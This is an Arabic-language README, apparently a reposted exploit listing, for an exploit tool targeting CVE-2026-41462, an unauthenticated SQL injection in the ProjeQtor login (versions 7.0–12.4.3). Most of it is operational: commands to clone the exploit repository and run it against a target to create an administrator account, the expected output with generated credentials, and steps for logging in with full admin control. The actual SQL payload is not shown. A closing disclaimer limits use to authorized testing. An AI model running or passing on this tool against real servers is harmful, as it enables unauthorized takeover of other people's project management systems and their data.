🚨 CVE-2026-41462 - ثغرة حقن SQL غير مصادقة في ProjeQtor

---

ثغرة حقن SQL حرجة غير مصادقة في ProjeQtor الإصدار 12.4.3 فما دون

📌 نظرة عامة

تمثل CVE-2026-41462 ثغرة حقن SQL حرجة غير مصادقة في وظيفة تسجيل الدخول بأداة إدارة المشاريع ProjeQtor.

• معرف CVE: CVE-2026-41462
• الإصدارات المتأثرة: ProjeQtor 7.0 إلى 12.4.3
• الإصدار المُصحَّح: 12.4.4
• الخطورة: حرجة (CVSS 9.8)
• النوع: حقن SQL متراص غير مصادقة

🛠️ الاستغلال

الاستخدام

python3 CVE-2026-41462.py -u http://target.com --create-admin

# With custom credentials
python3 CVE-2026-41462.py -u http://target.com --create-admin \
  --username admin123 --password StrongPass2026!

📊 ما الذي ستراه إذا نجح الاستغلال

عندما يكون الاستغلال ناجحًا، سترى مخرجات مشابهة لهذه:

[+] Targeting: http://target.com
[+] Sending payload to create admin user 'hacker' ...
[+] Request sent successfully.
[+] New admin created → Username: hacker | Password: Admin123!
[+] Try logging in at: http://target.com/login.php

بعد تشغيل الاستغلال:

1. افتح متصفحك وانتقل إلى:
   http://target.com/login.php

2. سجّل الدخول باستخدام بيانات الاعتماد الظاهرة في مخرجات السكربت.

3. إذا نجح الأمر، ستصل إلى لوحة تحكم ProjeQtor الإدارية بصلاحيات إدارية كاملة.

مؤشرات النجاح:

• يمكنك عرض جميع المشاريع والمستخدمين وإعدادات النظام
• يمكنك إنشاء/تعديل/حذف المشاريع دون قيود
• يظهر المستخدم الجديد في قسم إدارة المستخدمين

📁 محتويات المستودع

🚀 بدء سريع

1. استنسخ المستودع:

   root@kitploit:~

   git clone https://github.com/0xBlackash/CVE-2026-41462.git
   cd CVE-2026-41462
   

2. شغّل الاستغلال:

   root@kitploit:~

   python3 CVE-2026-41462.py -u http://target.com --create-admin
   

3. سجّل الدخول بحساب المدير المُنشأ حديثًا.

⚠️ إخلاء مسؤولية

هذه الأداة مخصّصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. الاستخدام غير المصرّح به غير قانوني.

📄 المراجع

• NVD - CVE-2026-41462
• التصحيح الرسمي من ProjeQtor (الإصدار 12.4.4+)